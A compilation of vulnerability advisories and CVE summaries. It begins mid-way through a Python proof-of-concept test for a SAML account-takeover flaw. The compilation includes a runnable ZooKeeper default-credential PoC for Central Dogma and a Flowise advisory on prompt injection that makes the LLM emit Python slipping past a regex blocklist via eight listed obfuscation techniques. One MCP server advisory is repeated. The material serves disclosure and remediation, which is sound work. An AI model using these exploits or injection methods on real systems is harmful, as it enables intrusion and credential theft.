# --------------------------------------------------------------- # STEP 3 - Execute the vulnerable adapter method. # # api/src/backend/api/adapters.py lines 17-25: # # def presociallogin(self, request, sociallogin): # email = sociallogin.account.extradata.get("email") # line 19 # if sociallogin.provider.id == "saml": # email = sociallogin.user.email # line 21 - trusts SAML NameID # if email: # existinguser = self.getuserbyemail(email) # line 23 - global DB lookup # if existinguser: # sociallogin.connect(request, existinguser) # line 25 - ACCOUNT LINKED # --------------------------------------------------------------- section("STEP 3: Execute presociallogin (vulnerable code path)")
adapter = ProwlerSocialAccountAdapter() print(f"[] Calling ProwlerSocialAccountAdapter.presociallogin()") print(f" File: api/src/backend/api/adapters.py:17")
adapter.presociallogin(acsrequest, attackersamllogin)
# --------------------------------------------------------------- # STEP 4 - Verify the attack succeeded. # --------------------------------------------------------------- section("STEP 4: Verify attack outcome")
assert attackersamllogin.connect.called, ( "FAIL: sociallogin.connect() was NOT called - " "the attack path did not execute" )
callargs = attackersamllogin.connect.callargs[0] , connecteduser = callargs # connect(request, existinguser)
print(f"[!] sociallogin.connect() was called!") print(f" connected user email: {connecteduser.email}") print(f" connected user id: {connecteduser.id}") print(f" victim user id: {victimuser.id}")
# The connected user must be the VICTIM (looked up from global DB) assert connecteduser.email == VICTIMEMAIL, ( f"FAIL: connect() was called with {connecteduser.email!r}, " f"expected {VICTIMEMAIL!r}" ) assert str(connecteduser.id) == str(victimuser.id), ( f"FAIL: connect() user id {connecteduser.id} != victim id {victimuser.id}" )
# Confirm no domain-ownership check happened: # The adapter does not inspect the SAML configuration to verify that # the sociallogin's tenant registered victim.com before accepting the email. section("RESULT: VULNERABILITY CONFIRMED")
print(f"[PASS] CWE-287 Improper Authentication - SAML domain claiming attack") print() print(f" Root cause (adapters.py:21-25):") print(f" email = sociallogin.user.email # trusts SAML NameID: {VICTIMEMAIL}") print(f" existinguser = self.getuserbyemail(email) # GLOBAL lookup, no tenant scope") print(f" sociallogin.connect(request, existinguser) # links attacker session to victim") print() print(f" Contributing settings (sociallogin.py):") print(f" SOCIALACCOUNTEMAILAUTHENTICATIONAUTOCONNECT = True # hardcoded") print(f" rejectidpinitiatedsso = False # IdP-initiated attacks allowed") print() print(f" Impact:") print(f" - Attacker obtains JWT token for {VICTIMEMAIL}") print(f" - Attacker can access victim's cloud security findings") print(f" - Attacker can switch to victim's tenant via /api/v1/tokens/switch") print(f" - No victim interaction required (IdP-initiated SSO enabled)") print() print(f" Evidence (this test run):") print(f" - Victim user id in DB: {victimuser.id}") print(f" - User passed to connect(): {connecteduser.id}") print(f" - IDs match (victim's account): {str(victimuser.id) == str(connecteduser.id)}") print(f" - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)")
An heap overflow vulnerability in the WatchGuard Fireware OS iked process allows a remote unauthenticated attacker to execute arbitrary code by sending specially crafted network traffic.
Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Missing Authorization vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to remote execution. This vulnerability is considered critical because it allows an attacker to execute commands remotely on a target system by sending a specially crafted request to the application, bypassing intended restrictions on code execution.Dell recommends customers to upgrade at the earliest opportunity.
Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Execution with Unnecessary Privileges vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to Protection mechanism bypass. This vulnerability is considered critical because a low-privileged operator with SSH access to the SCG host can gain root-level access to the host without requiring a password by leveraging the exposed Docker socket. Additionally, an attacker who compromises a service running within the orchestrator container can access the same socket and escape the container boundary to obtain host-level control. Dell recommends that customers upgrade at the earliest opportunity.
A vulnerability was detected in Tenda CP3 27.5.57.101. The affected element is the function sub2F77E8 of the file Apis/system.c of the component Network Configuration Management. Performing a manipulation results in os command injection. The attack may be initiated remotely.
Adobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
Issue summary: ChaCha20-Poly1305 and AES-OCB decryption with an empty ciphertext can report success without verifying the supplied authentication tag when the operation is finalized by calling the EVPCipher() function.
Improper authentication in Spring Cloud Azure allows an unauthorized attacker to elevate privileges over a network.
Issue summary: OpenSSL CMP response validation passed an unexpected response sender distinguished name directly as the format string to ERRraisedata().
Summary
The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is in WHITELISTURLS, meaning it requires no authentication. It decrypts the stored credential (containing clientId, clientSecret, refreshtoken), sends a refresh request to the configured OAuth provider, and returns the new accesstoken directly in the response body.
Root Cause
typescript // packages/server/src/routes/oauth2/index.ts:393-402 res.json({ success: true, message: 'OAuth2 token refreshed successfully', credentialId: credential.id, tokenInfo: { ...tokenData, // ← includes accesstoken! hasnewrefreshtoken: !!tokenData.refreshtoken, expiresat: updatedCredentialData.expiresat } })
Whitelist entry at packages/server/src/utils/constants.ts:40.
Attack Chain
1. Attacker obtains a credential ID (via Finding 2 / public chatflow leak, or enumeration) 2. Attacker calls POST /api/v1/oauth2-credential/refresh/:credentialId (no auth required) 3. Server decrypts credential, sends refresh request to OAuth provider with user's clientsecret 4. Server returns the new accesstoken in the response to the attacker 5. Attacker uses the token to access the victim's connected service (Google, Microsoft, etc.)
Docker Validation
POST /api/v1/oauth2-credential/refresh/fake-uuid returns {"message":"Credential not found"} (not 401 Unauthorized), proving the endpoint processes the request without authentication.
Impact
- OAuth2 access token theft for any connected service - Full access to the victim's third-party accounts (Google, Microsoft, GitHub, etc.) - Client secret transmitted to OAuth provider during refresh - Can also be used for DoS by exhausting refresh token quota
Suggested Fix
Remove the refresh endpoint from WHITELISTURLS and require authentication:
typescript // Remove from WHITELISTURLS in constants.ts // Add authentication check in the route handler
---
Credits
- Shinobi Security - https://github.com/shinobisecurity
Incomplete comparison with missing factors in Visual Studio Code allows an unauthorized attacker to bypass a security feature over a network.
-- ABSTRACT -------------------------------------
Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: Flowise - Flowise
-- VULNERABILITY DETAILS ------------------------ Version tested: 3.1.1 Installer file: https://github.com/FlowiseAI/Flowise (npm install flowise@3.1.1) Platform tested: Ubuntu 25.10
---
A prompt injection sent to a chatflow using a CSV Agent node can cause the LLM to respond with a malicious Python script that bypasses the blocklist validator and executes in an unsandboxed pyodide environment. An attacker can leverage this to execute arbitrary code in the context of the user running the server.
This vulnerability allows remote attackers to execute arbitrary code on affected installations of Flowise. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the run method of the CSVAgents class. The issue results from insufficient input sanitization when using untrusted data to construct an LLM prompt. An attacker can leverage this vulnerability to execute code in the context of the service account.
Analysis
When a user makes a query against a chatflow using the CSV Agent node, the run method of the CSVAgents class is called. This method reads the CSV file, loads a pyodide environment, and uses pandas to extract column names and data types into a dictionary. It then constructs a system prompt using that dictionary and the user's input, and sends this prompt to a configured LLM. The LLM response is stored in a variable named pythonCode. The method then attempts to validate this value using validatePythonCodeForDataFrame from packages/components/src/pythonCodeValidator.ts before evaluating it in pyodide.
The validator relies on a static regex blocklist. It can be bypassed using obfuscation techniques including string concatenation to reconstruct forbidden identifiers, chr() encoding, aliasing of dangerous builtins, getattribute with concatenated attribute names, frame object inspection, MRO traversal, df.query() expression evaluation, and decorator syntax to invoke exec indirectly. Furthermore, pyodide is not sandboxed from the host operating system, so any Python code that passes the validator is executed with full access to OS interfaces.
From packages/components/nodes/agents/CSVAgent/CSVAgent.ts: ts let pythonCode = '' if (dataframeColDict) { const chain = new LLMChain({ llm: model, prompt: PromptTemplate.fromTemplate(systemPrompt), verbose: process.env.DEBUG === 'true' ? true : false }) const inputs = { dict: dataframeColDict, question: input // user-controlled input substituted into prompt } const res = await chain.call(inputs, [loggerHandler, ...callbacks]) pythonCode = res?.text // LLM response assigned to pythonCode pythonCode = pythonCode.replace(/^[a-z]+\n|\n$/gm, '') }
let finalResult = '' if (pythonCode) { const validation = validatePythonCodeForDataFrame(pythonCode) // blocklist validation applied if (!validation.valid) { throw new Error( Generated code was rejected for security reasons (${ validation.reason ?? 'unsafe construct' }). Please rephrase your question to use only pandas DataFrame operations. ) } try { const code = import pandas as pd\nimport numpy as np\n${pythonCode} finalResult = await pyodide.runPythonAsync(code) // executed in unsandboxed pyodide } catch (error) { throw new Error(Sorry, I'm unable to find answer for question: "${input}" using following code: "${pythonCode}") } }
An unauthenticated attacker with the ability to send prompts to a chatflow using the CSV Agent node may use prompt injection to cause the LLM to respond with a malicious Python script. An authenticated attacker may instead configure a chatflow that points to an attacker-controlled server, which responds to LLM requests with an attacker-controlled Python payload, bypassing the LLM entirely.
Eight bypass variants were demonstrated against the validator:
| Variant | Technique | Bypasses | |---------|-----------|----------| | 0 | @exec decorator with string-concatenated import | /\bexec\s\(/, /\bimport\s\(/ | | 1 | eval aliased to a variable, payload chr()-encoded | /\beval\s\(/, /\bimport\b/ | | 2 | df.query() with chr()-encoded @builtins.import | /\bbuiltins\b/, /\bimport\s\(/ | | 3 | MRO traversal + getattribute + subclasses -> BuiltinImporter.loadmodule | /\bclass\b/, /\bsubclasses\s\(/, /\bmro\b/ | | 4 | Generator frame inspection via giframe.fglobals['loader'] | /\bloader\b/, /\bglobals\b/ | | 5 | Exception traceback frame walk to fbuiltins['import'] | /\bglobals\b/, /\bimport\s\(/ | | 6 | buildclass.self.getattribute('import') | /\bimport\s\(/ | | 7 | vars aliased to a variable, builtins accessed via dict key | /\bvars\s\(/, /\bbuiltins\b/, /\bimport\s\(/ |
Repro
The proof of concept (poc.py) has three modes of operation:
mode = "server": Starts a malicious server that responds to "/api/chat" requests with a JSON object containing an LLM response with the selected attack payload.
mode = "chatflow": Authenticates to the Flowise server, creates a chatflow with a CSV Agent node configured to use a ChatOllama model pointed at the malicious server, and triggers a prediction to execute the payload.
mode = "promptinjection": Sends a prompt injection payload directly to an existing chatflow's prediction endpoint. Due to the nature of LLM responses, it may take multiple attempts or require a different injection technique depending on the model used.
python3 poc.py --mode [server OR chatflow OR promptinjection] [--user <USER> --passwd <PASSWORD> --host <HOST> --rhost <RHOST> --rport <RPORT> --lport <LPORT> --port <PORT> --cmd <CMD> --attack <ATTACK> --chatflowid <CHATID>]
-- CREDIT --------------------------------------- This vulnerability was discovered by: Dre Cura (@drecura) of TrendAI Research
FreeRDP before 3.29.0 improperly validates the Extended Key Usage (EKU) purpose of the peer certificate during client-side server TLS authentication. In x509utilsverify(), when server-purpose (X509PURPOSESSLSERVER) verification fails, the code falls back to client-purpose and any-purpose verification, so a trusted, hostname-matching certificate valid only for clientAuth can be accepted as the RDP server certificate. In environments relying on EKU separation between client and server certificates, this allows a clientAuth-only certificate issued by a trusted CA to bypass server certificate purpose validation.
FreeRDP before 3.29.0 contains a buffer over-disclosure vulnerability in the gateway WebSocket transport (libfreerdp/core/gateway/websocket.c). The client's Pong reply reuses a fixed 1024-byte response stream whose length is not sealed to the actual received Ping payload, so a malicious gateway/WebSocket peer sending a non-empty Ping control frame causes the client to reply with an overlong Pong that discloses bytes beyond the received payload (the peer receives the masking key and can unmask the reply). A zero-length Ping reaches an assertion and terminates the client (denial of service).
Vulnerability
ZooKeeperReplicationConfig.secret() silently substitutes the hard-coded constant "ch4n63m3" (leetspeak for "change me") whenever the operator omits replication.secret. The same secret is wired into both the client-facing SASL context and the quorum/learner SASL contexts of the embedded ZooKeeper. The constant is in OSS source on GitHub and is discoverable via code search in seconds.
Three Reinforcing Defects
1. OSS-public credential — DEFAULTSECRET is in line/centraldogma source. 2. Silent fallback — firstNonNull(convertValue(...), DEFAULTSECRET) substitutes the default with no log, no warning, no startup banner. The only sanity check checkArgument(!secret().isEmpty(), ...) passes because the getter substitutes the literal before the emptiness check runs. 3. Dual-purpose secret — used for both ZK client-port super auth and inter-peer quorum SASL. A single leaked password authenticates against both surfaces.
Architecture Context (Important)
Central Dogma does NOT connect to an external ZooKeeper ensemble. Each replica embeds a QuorumPeer (EmbeddedZooKeeper extends QuorumPeer) inside its own JVM. The Central Dogma cluster IS the ZK ensemble. So the "ZK network" is the inter-replica network of the Central Dogma cluster itself.
Applicability
| replication.method | ZK Started? | Applicable? | |---|---|---| | NONE (standalone, dev default) | No | NOT applicable | | ZOOKEEPER (HA production) | Yes, embedded on every replica | Fully applicable — canonical production configuration |
---
Evidence
File: server/src/main/java/com/linecorp/centraldogma/server/ZooKeeperReplicationConfig.java Branch: main @ commit d64a5151
Line 53 — the constant:
java private static final String DEFAULTSECRET = "ch4n63m3";
Lines 210–215 — the silent fallback:
java / Returns the secret string used for authenticating the ZooKeeper peers. / public String secret() { return firstNonNull(convertValue(secret, "replication.secret"), DEFAULTSECRET); }
---
File: server/src/main/java/com/linecorp/centraldogma/server/internal/replication/ZooKeeperCommandExecutor.java Lines 586–607 — JAAS wiring (same secret on both surfaces):
java final String escapedSecret = jaasValueEscaper.escape(cfg.secret()); ImmutableList.of("Server", EmbeddedZooKeeper.SASLSERVERLOGINCONTEXT).forEach(name -> { buf.append(name).append(" {").append(newline); buf.append(DigestLoginModule.class.getName()).append(" required").append(newline); buf.append("usersuper=\"").append(escapedSecret).append("\";").append(newline); buf.append("};").append(newline); }); ImmutableList.of("Client", EmbeddedZooKeeper.SASLLEARNERLOGINCONTEXT).forEach(name -> { buf.append(name).append(" {").append(newline); buf.append(DigestLoginModule.class.getName()).append(" required").append(newline); buf.append("username=\"super\"").append(newline); buf.append("password=\"").append(escapedSecret).append("\";").append(newline); buf.append("};").append(newline); });
---
File: server/src/main/java/com/linecorp/centraldogma/server/internal/replication/EmbeddedZooKeeper.java
Line 44 — proves CD embeds the ZK server:
java final class EmbeddedZooKeeper extends QuorumPeer {
Lines 213–220 — client port binding (loopback only):
java private static ServerCnxnFactory createCnxnFactory(QuorumPeerConfig zkCfg) throws IOException { final InetSocketAddress bindAddr = zkCfg.getClientPortAddress(); final ServerCnxnFactory cnxnFactory = ServerCnxnFactory.createFactory(); // Listen only on 127.0.0.1 because we do not want to expose ZooKeeper to others. cnxnFactory.configure(new InetSocketAddress("127.0.0.1", bindAddr != null ? bindAddr.getPort() : 0), zkCfg.getMaxClientCnxns()); return cnxnFactory; }
Quorum/election ports are NOT loopback-bound — they bind to replication.servers[].host as configured, exposed on the inter-replica network.
---
PoC
Two attack surfaces, two scenarios. Surface A (client port, same-host) is implemented as a working read-only PoC. Surface B (quorum-port peer impersonation) is documented but intentionally not weaponized.
Surface A — Same-Host Client Port (Loopback) PoC
Python + kazoo + pure-sasl. Authenticates as super over SASL DIGEST-MD5 with the leaked secret and reads the full Central Dogma replication log. Hardcoded to 127.0.0.1, read-only, prints first 5 entries.
python #!/usr/bin/env python3 """ C3 PoC -- ZooKeeper default-secret takeover (read-only, loopback only).
Demonstrates that a Central Dogma instance launched with a ZooKeeper-replicated configuration but without replication.secret set exposes its embedded ZooKeeper to anyone with local-host access, using the well-known credential super / ch4n63m3.
SAFETY: Hardcoded to 127.0.0.1. Refuses any other target. Read-only. No writes are issued. No nodes are deleted. Limits how much data it prints (first MAXLOGS entries). """ from future import annotations
import sys
from kazoo.client import KazooClient from kazoo.exceptions import NoNodeError
HOST = "127.0.0.1" DEFAULTPORT = 2381 DEFAULTUSER = "super" DEFAULTSECRET = "ch4n63m3" # ZooKeeperReplicationConfig.DEFAULTSECRET MAXLOGS = 5
def main() -> int: port = int(sys.argv[1]) if len(sys.argv) > 1 else DEFAULTPORT if HOST != "127.0.0.1": print("Refusing to run against non-loopback host.", file=sys.stderr) return 2
zk = KazooClient( hosts=f"{HOST}:{port}", sasloptions={ "mechanism": "DIGEST-MD5", "username": DEFAULTUSER, "password": DEFAULTSECRET, }, readonly=True, timeout=5.0, ) try: zk.start(timeout=5) except Exception as exc: print(f"[!] Could not reach {HOST}:{port} -- {exc}", file=sys.stderr) return 1
try: try: logchildren = zk.getchildren("/dogma/logs") except NoNodeError: print("[i] /dogma/logs not present -- is replication actually enabled?") logchildren = []
print(f"[+] Authenticated as '{DEFAULTUSER}' with default secret.") print(f"[+] /dogma/logs has {len(logchildren)} entries.") for child in sorted(logchildren)[:MAXLOGS]: path = f"/dogma/logs/{child}" try: data, stat = zk.get(path) except NoNodeError: continue preview = data[:120].decode("utf-8", errors="replace") if data else "" print(f" - {path} ({stat.dataLength} bytes) preview={preview!r}")
try: blockchildren = zk.getchildren("/dogma/logblocks") print(f"[+] /dogma/logblocks has {len(blockchildren)} entries.") except NoNodeError: pass
print( f"[!] ZK cluster compromised: read {len(logchildren)} log entries " "with default credentials." ) return 0 finally: zk.stop() zk.close()
if name == "main": raise SystemExit(main())
Dependencies (requirements.txt): kazoo, pure-sasl
Setup: edit dist/src/conf/dogma.json to enable replication WITHOUT setting secret:
json { "replication": { "method": "ZOOKEEPER", "serverId": 1, "servers": { "1": { "host": "127.0.0.1", "quorumPort": 2382, "electionPort": 2383, "clientPort": 2381 } } } }
Note: replication.secret is INTENTIONALLY omitted. Launch with ./gradlew :dist:startup.
Run:
bash python3 zktakeover.py 2381
Expected output (VULNERABLE):
[+] Authenticated as 'super' with default secret. [+] /dogma/logs has 14 entries. - /dogma/logs/0000000001 (412 bytes) preview="{"size":..." - /dogma/logs/0000000002 (508 bytes) preview="{"size":..." ... [+] /dogma/logblocks has 14 entries. [!] ZK cluster compromised: read 14 log entries with default credentials.
After the patch (fail-closed on null/placeholder secret), Central Dogma refuses to start at all with this config.
Surface B — Inter-Replica Quorum-Port Peer Impersonation (Documented, Not Weaponized)
Quorum/election ports bind to the configured replication.servers[].host, NOT to loopback. In typical HA deployments (multi-DC, K8s with NetworkPolicy gaps, shared VPC), these ports are reachable from peer workloads.
Attack path:
1. Attacker reaches the quorum port of any Central Dogma replica from a co-located workload (same K8s namespace, same VLAN, etc.). 2. Attacker spins up their own Apache ZooKeeper process configured with: - matching serverId (or a new one if the QuorumVerifier allows dynamic membership) - JAAS QuorumLearner / QuorumServer digest contexts using super / ch4n63m3 - quorumServerSaslAuthRequired=true, quorumLearnerSaslAuthRequired=true 3. Attacker's process joins the quorum as a learner. SASL handshake passes because the secret matches. 4. Attacker now receives every replicated Command, can attempt to win leader election, and once in the cluster can write to /dogma/logs/ directly — which ZooKeeperCommandExecutor.replayLogs() will deserialize and execute on every legitimate replica.
Dangerous Commands the attacker can replay across the cluster (from Command.java:46-68):
| Command | Impact | |---|---| | PURGEPROJECT | Permanent deletion | | ROTATESESSIONMASTERKEY / REWRAPALLKEYS | Pivot encryption-at-rest layer to attacker-controlled keys | | UPDATESERVERSTATUS (read-only / maintenance) | Denial of Service | | CREATESESSION with crafted user info | Session forgery |
This PoC is intentionally NOT shipped as runnable code. It is closer to an attack tool than a verification artifact, and the audit's purpose is to drive the fix, not to provide weaponization. The Surface A PoC plus this documentation are sufficient to motivate remediation.
---
Impact
Threat Model (Realistic for LINE Corporate Deployment)
- Multi-tenant K8s where Central Dogma StatefulSet shares Pod network with other workloads - Or shared VPC/VLAN where the inter-replica quorum traffic is reachable from co-tenant hosts - Or single-tenant cluster where any sidecar/co-located process has loopback access (Surface A)
What an Attacker Gains with the Leaked Secret
1. Read the full replication log. /dogma/logs + /dogma/logblocks contain the Zstd-compressed ReplicationLog entries — every commit, every PUSH payload (with file contents), every credential mutation, every session/master-key management command. Includes CREATESESSIONMASTERKEY, ROTATESESSIONMASTERKEY, REWRAPALLKEYS. Reading this effectively renders the encryption-at-rest layer moot because the master-key management commands themselves traverse ZK.
2. Write to the replication log (Surface B). Forged LogMeta + logblocks entries are auto-replayed by ZooKeeperCommandExecutor.replayLogs() on every replica. The attacker gains arbitrary Command execution on the entire cluster.
3. Join the quorum as a fake peer (Surface B). With the secret, an attacker reachable on the inter-replica network can pose as a legitimate replica, receive all future commits in real time, and potentially win leadership.
Scope is Changed (CVSS) because ZK is a separate security authority from Central Dogma's HTTP API, and the impact propagates to every microservice consuming Central Dogma configuration via watch.
Incident recovery cost: secret rotation alone is insufficient. Every Command that traversed ZK during the compromise window must be audited. If master-key rotation commands were issued, all encryption-at-rest data must be re-encrypted. This is an extremely high-blast-radius failure mode for a single missing config knob.
Historical analogue: this is the same anti-pattern that caused Mirai (2016, IoT default credentials), pre-2018 unauthenticated Hadoop YARN clusters, and the recurring ZK / Elasticsearch / MongoDB internet-exposed-without-auth incidents 2018–2024.
---
How to Fix
Remove the default constant. Fail closed when replication.secret is missing or matches the legacy placeholder.
java // ZooKeeperReplicationConfig.java // REMOVE: private static final String DEFAULTSECRET = "ch4n63m3";
@JsonCreator ZooKeeperReplicationConfig(/ ...unchanged params... / @JsonProperty("secret") @Nullable String secret, / ... /) { // ... final String resolved = convertValue(secret, "replication.secret"); checkArgument(resolved != null && !resolved.isEmpty(), "'replication.secret' must be set (and non-empty) when " + "ZooKeeper replication is enabled. There is no default; " + "generate a long random string and configure it on every " + "replica."); // Reject the historical placeholder explicitly so existing config files // copy-pasted from old tutorials fail loudly instead of silently. checkArgument(!"ch4n63m3".equals(resolved), "'replication.secret' is set to the legacy placeholder " + "value. Replace it with a fresh random secret " + "(openssl rand -hex 32)."); // Optional: enforce minimum length (32 chars) and reject obvious placeholders. checkArgument(resolved.length() >= 32, "'replication.secret' must be at least 32 characters. " + "Use openssl rand -hex 32 to generate one."); this.secret = resolved; }
public String secret() { return secret; // never null at this point }
Summary
In SSE/HTTP transport mode, mysqlmcpserver constructs SseServerTransport without passing securitysettings. As a result, the MCP Python SDK's DNS-rebinding protection (Origin/Host header validation) is disabled; the Starlette application has no CORS or TrustedHost middleware; and the service binds to 0.0.0.0 by default with no authentication on any route.
Trigger condition: MCPTRANSPORT=sse. The default stdio mode is not affected.
Attack Scenarios
Scenario A — Direct exposure: Any network attacker can invoke executesql to run arbitrary SQL without credentials → full data dump, and via MySQL FILE privileges, arbitrary file read/write and RCE.
Scenario B — DNS rebinding (local bind): An attacker lures a victim's browser to a malicious page, rebinds their domain to 127.0.0.1, and uses the browser as a proxy to invoke executesql as same-origin.
Root Cause
In src/mysqlmcpserver/server.py:
1. SseServerTransport is constructed without securitysettings — the SDK defaults enablednsrebindingprotection to False. 2. The Starlette app has no CORS or TrustedHost middleware. 3. All three routes (/, /sse, /messages/) are unauthenticated. 4. The service binds to 0.0.0.0 by default. 5. The sink is cursor.execute(query) with a fully attacker-controlled query.
Impact
- Unauthenticated arbitrary SQL execution against the configured database - Full data exfiltration and modification - If the MySQL account holds FILE privilege: arbitrary file read (LOADFILE) and write (INTO OUTFILE) — potential RCE via webshell drop - Internet-wide scanning has identified 25 publicly reachable SSE instances of this project
Fix
Released in v0.4.2: DNS-rebinding protection is now enabled by passing TransportSecuritySettings(enablednsrebindingprotection=True) to SseServerTransport, and the documented recommended bind address is 127.0.0.1.
Credits
Discovered by Huanchen, SongWu (JHU), and BrookeYangRui (JHU).
Summary
In SSE/HTTP transport mode, mysqlmcpserver constructs SseServerTransport without passing securitysettings. As a result, the MCP Python SDK's DNS-rebinding protection (Origin/Host header validation) is disabled; the Starlette application has no CORS or TrustedHost middleware; and the service binds to 0.0.0.0 by default with no authentication on any route.
Trigger condition: MCPTRANSPORT=sse. The default stdio mode is not affected.
Attack Scenarios
Scenario A — Direct exposure: Any network attacker can invoke executesql to run arbitrary SQL without credentials → full data dump, and via MySQL FILE privileges, arbitrary file read/write and RCE.
Scenario B — DNS rebinding (local bind): An attacker lures a victim's browser to a malicious page, rebinds their domain to 127.0.0.1, and uses the browser as a proxy to invoke executesql as same-origin.
Root Cause
In src/mysqlmcpserver/server.py:
1. SseServerTransport is constructed without securitysettings — the SDK defaults enablednsrebindingprotection to False. 2. The Starlette app has no CORS or TrustedHost middleware. 3. All three routes (/, /sse, /messages/) are unauthenticated. 4. The service binds to 0.0.0.0 by default. 5. The sink is cursor.execute(query) with a fully attacker-controlled query.
Impact
- Unauthenticated arbitrary SQL execution against the configured database - Full data exfiltration and modification - If the MySQL account holds FILE privilege: arbitrary file read (LOADFILE) and write (INTO OUTFILE) — potential RCE via webshell drop - Internet-wide scanning has identified 25 publicly reachable SSE instances of this project
Fix
Released in v0.4.2: DNS-rebinding protection is now enabled by passing TransportSecuritySettings(enablednsrebindingprotection=True) to SseServerTransport, and the documented recommended bind address is 127.0.0.1.
Credits
Discovered by Huanchen, SongWu (JHU), and BrookeYangRui (JHU).
XenForo before 2.3.13 contains an authentication bypass vulnerability in the OAuth2 token endpoint that allows unauthenticated attackers to obtain valid token pairs by submitting empty values for clientsecret and codeverifier parameters. Attackers can exploit PHP truthy evaluation logic, which treats empty strings as false and skips client secret validation and PKCE code verifier validation, to exchange a valid authorization code for a token pair without proving client identity or holding the PKCE commitment.
passport-saml-encrypted through 0.1.13 makes SAML signature verification conditional on an optional cert option, allowing attackers to bypass authentication by submitting unsigned SAML responses. Attackers can post forged SAML responses with arbitrary NameID and attributes to the assertion consumer service endpoint to receive authenticated profiles without valid signatures.
IBM ContextForge MCP Gateway 1.0.0 through 1.0.7 could allow a remote attacker to gain administrative access due to the use of default credentials.
XenForo before 2.3.13 contains a refresh token replay vulnerability that allows attackers to reuse a refresh token multiple times by exploiting the failure to mark tokens as consumed when the parent access token has expired. Attackers can repeatedly submit the same refresh token to generate additional independent token pairs, achieving persistent unauthorized access for the token's full lifetime.
XenForo before 2.3.13 contains an OAuth2 authorization code reuse vulnerability that allows attackers to obtain unauthorized token pairs by submitting a previously used authorization code. Attackers can exploit the failure to invalidate or mark authorization codes as consumed after initial token issuance to receive an independent token pair for the same user and scopes, bypassing the single-use guarantee of the OAuth2 authorization code flow.
Vulnerability in the Oracle Demand Planning product of Oracle Supply Chain (component: Internal Operations). Supported versions that are affected are 12.1 and 12.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Demand Planning. While the vulnerability is in Oracle Demand Planning, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Demand Planning accessible data as well as unauthorized access to critical data or complete access to all Oracle Demand Planning accessible data. CVSS 3.1 Base Score 9.6 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).
A flaw in libcurl makes it wrongly reuse an HTTP connection setup for a given hostname using Negotiate authentication, when the initial request is done using empty credentials. This can make user B's request get sent over user A's previously authenticated connection.
A flaw in libcurl's handling of HTTP/2 Server Push streams, when the parent handle is set to share connections with other handles, can lead to use-after-free in the cleanup process.
A condition in the ScreenConnect client may allow files to be transferred and executed through an active remote session without authorization or Host confirmation in certain circumstances. ScreenConnect servers are not impacted.
GetSimple CMS is a content management system (CMS), and GetSimple CMS CE is the community edition of that CMS. A logic flaw in GetSimple CMS (v3.4.0a and below) and GetSimpleCMS-CE (v3.3.22 and below) allows unauthenticated attackers to create a new administrator account. The application features an automated security control designed to delete the sensitive admin/setup.php file post-installation. However, this control is neutralized by a self-exclusion bug within the deletion logic, leaving the setup script accessible for unauthorized account creation even after a legitimate installation is completed. As of time of publication, no known patched versions are available.
A non-global organization admin in one tenant can bypass tenant boundaries to delete, create, or modify resources in any other tenant by exploiting a mismatch between authorization (based on ?id=) and action (based on request body).
Use after free in Windows Services for NFS ONCRPC XDR Driver allows an unauthorized attacker to execute code over a network.